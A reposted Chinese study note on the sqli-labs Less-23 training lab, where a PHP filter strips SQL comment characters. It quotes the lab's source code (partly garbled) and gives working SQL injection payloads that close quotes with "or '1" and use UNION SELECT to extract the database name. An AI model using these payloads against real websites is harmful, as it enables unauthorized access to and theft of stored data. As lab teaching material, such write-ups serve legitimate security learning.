-
转自不知名大佬的笔记
-----------------------------------less-23-----------------------------------
原url:
192.168.137.138/sqli-labs-master/Less-23
这节课将学到一些新东西:
preg_replace() 函数 和 数据库注释
preg_replace()
PHP中用来执行正则表达式的匹配以及替换的函数。可以返回一个正则表达式转换后的值。
原型:
preg_replace(mixed replacement,
limit = -1[,int &
pattern 要搜索的模式。可以使一个字符串或字符串数组或者正则表达式
string 要进行搜索和替换的字符串或字符串数组。
作用: 在 string 中查找符合正则表达式 pattern 的部分 并将其替换为 replacement ; limit 可选参数 ,默认为 -1 表示无限次的替换 ; count 可选 ,表示完成的替换次数
例如:
<?php
pattern = '\b\w{5}\b'; #表示 有一个单词 是 5个 字母的,在string中,还有April满足 这个 查询条件
pattern,
string);
?>
输出:
October 15,2003
数据库注释
数据库: 注释: 描述
SQL Server 、Oracle、PostareSQL --(双连字符) 用于单行注释
/* */ 用于多行注释
Mysq --(双连字符) 用于单行注释( 第二个横杠-后 面紧跟一个空格 或控制符,这也 是为什么前面注 入测试的时候 用+ 带替空格 的原因
# 用于单行注释
/* */ 用于多行注释
在 less - 23 中呢,就要用到上面的知识
同样的,首先测试 ' " 之类的特殊字符,去破坏语法结构,看看会不会报错
(返回页面 出现 的 warning 和 注入没有多大关系,可以去关闭这个 warning显示)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这里报错了,看似很简单,和 less-1 一样
near ' '1'' LIMIT 0,1 ' at line 1
初步猜测 后台 sql 语句:
select username,password from table where id = 'input'
按照常识
用 1' and 1=1 # 和 1' and 1=2 # 去测试
放入sql语句中看看:
select username,password from table where id = '1' and 1=1 #'
这样 where 条件 是永真
这样返回页面应该为真
效果如下:
结果他还是报错了:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
-----------------现在直接去看看源码部分,这其中是怎么个情况--------------------
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables
if(isset(id=$_GET['id'];
//filter the comments out so as to comments should not work
reg1 = "/--/"; //被替换的字符,匹配--双横杠
id = preg_replace(
replace,
id = preg_replace(
replace,
fp=fopen('result.txt','a');
fwrite(id."\n");
fclose($fp);
// connectivity
id' LIMIT 0,1";//这里的ID按理说已经非常安全了,因为撤去了注释符,很多注入语句无法成功构成,所以,在之前构造好的语句,已经成功闭合了,而且没有语法错误的情况下,还是爆出语法错误,就是因为 注释符 丢失了,语句的语法并没有闭合
sql);
result);
if($row)
{
echo '<font color= "#0000ff">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());//爆出 MYSQL 中的错误
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
通过对源码的分析,已经知道了问题所在
就是因为 preg_replace() 的存在,这个是PHP 的自带的过滤函数
现在、、结合代码审计 来 构造注入语句
有两个思路:
1-----不用注释符
2-----用其他注释符替代
先想想 用其他注释符替代:
mysql一共有三种注释符:
-- # /**/
很明显,第三种 /**/ 注释符,在源码中并没有对其处理
但是呢,/**/的用法和 C 语言中一样,注释的是其间的内容
比如:
/fffff/
这样达不到,SQL 注入的效果(在后续的学习中,知道了/**/可以代替空格)
所以只能想想第一种思路:
不用注释符
不用注释符的话,就应该去闭合他的SQL 语句,让其正常执行
比如,一个简单的语句:
1' or '1'='1
将其放入之前猜测的 SQL 语句中:
select username,password from table where id = '1' or '1'='1'
这样的话,没有使用注释符 也将 语句闭合了
其他语句类似,将其正确闭合就行了
不过目前2016/5/17我还不知道怎么用其他更复杂的语句去注入这种 注释符 被过滤的情况
在2016/5/19 我知道了怎么在构造的闭合条件中 添加更复杂的语句:
其实很简单,就在or或者 and 前面添加就行了
比如:
-1' union select 1,2,3,...or '1 //直接去猜字段,顺便爆出 字段位置
注:union select前面的条件应该为 假
放入 sql 语句中:
select username,password from table where id = '-1' union select 1,2,3... or '1'
语句说明,这样就起到了 or ‘1 代替注释符的效果
首先,注释符的主要作用,其实就是把 后面的 闭合条件 给注释掉
那么用 or '1 ,后面还有一个单引号,成功闭合了
而且 这个 or 后面的语句并没有进行 判读(比如1=1啊这类的),所以 这里用 and 和or
的结果是相同的
效果如下:
(先测试 union select 1,2,3,4 or ‘1)
报错了:
The used SELECT statements have a different number of columns
说明字段数应该小于4
改成
union select 1,2,3
效果如下:
返回页面 暴露出了 字段位置
构造语句:
1' and 1=2 union select 1,database(),3 or '1
效果如下:
在字段2的位置,爆出了 当前数据库名
Your Login name:security
Your Password:1
其他的注入语句就不一一实验了
总结:
通过 and 或是 or 构造闭合条件 代替 注释符
语句一般这样:
1(闭合条件) 注入语句 or (闭合条件)1
或者是这样:
1(闭合条件) 注入语句 and (闭合条件)1
但是在快速判断闭合条件时候
用的是 and
比如 是 GET 型传参
1'and'1
如果别和条件就是 ' 的话
那么
改变 第一个 值 1:
2'and'1
返回页面就会不同
反之,返回页面不变